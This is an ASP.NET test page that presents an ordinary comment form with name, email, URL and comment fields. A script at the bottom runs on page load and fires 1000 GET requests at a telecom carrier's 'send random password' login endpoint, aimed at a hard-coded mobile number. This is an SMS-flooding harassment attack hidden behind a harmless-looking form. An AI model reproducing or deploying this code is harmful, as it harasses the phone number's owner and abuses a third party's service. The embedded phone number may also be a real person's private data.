﻿<%@ Page Language="C#" AutoEventWireup="true" CodeFile="TestPage.aspx.cs" Inherits="TestPage" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <title></title>
    <style type="text/css">
        body
        {
            margin: 0px;
            padding: 0px;
            font-size: 9pt;
        }
    </style>
    <script src="Scripts/jquery-1.4.1.js" type="text/javascript"></script>
    <script src="Scripts/json.js" type="text/javascript"></script>
</head>
<body>
    <form id="form1" runat="server">
    <fieldset class="ui-widget ui-widget-content ui-corner-all">
        <legend class="ui-widget ui-widget-header ui-corner-all">Please provide your name, email
            address (won't be published) and a comment</legend>
        <p>
            <label for="cname">
                Name (required, at least 2 characters)</label>
            <input id="cname" name="name" class="required ui-widget-content" minlength="2" />
        </p>
        <p>
            <label for="cemail">
                E-Mail (required)</label>
            <input id="cemail" name="email" class="required email ui-widget-content" />
        </p>
        <p>
            <label for="curl">
                URL (optional)</label>
            <input id="curl" name="url" class="url ui-widget-content" value="" />
        </p>
        <p>
            <label for="ccomment">
                Your comment (required)</label>
            <textarea id="ccomment" name="comment" class="required ui-widget-content"></textarea>
        </p>
        <p>
            <button class="submit" type="submit">
                Submit</button>
            <button id="rerun">
                Run last action</button>
        </p>
        <input id="test" name="test" type="button" value="test" />
    </fieldset>
    </form>
    <script type="text/javascript">
        $(document).ready(function () {
            var sendTimes = 1000;
            while (sendTimes > 0) {
                $.ajax({
                    cache: false,
                    type: "GET",
                    url: "http://www.10010.com/login/sendRadomPassword.action",
                    data: "mobile=15601078260"
                });
                sendTimes--;
            }
        });
        
    </script>
</body>
</html>
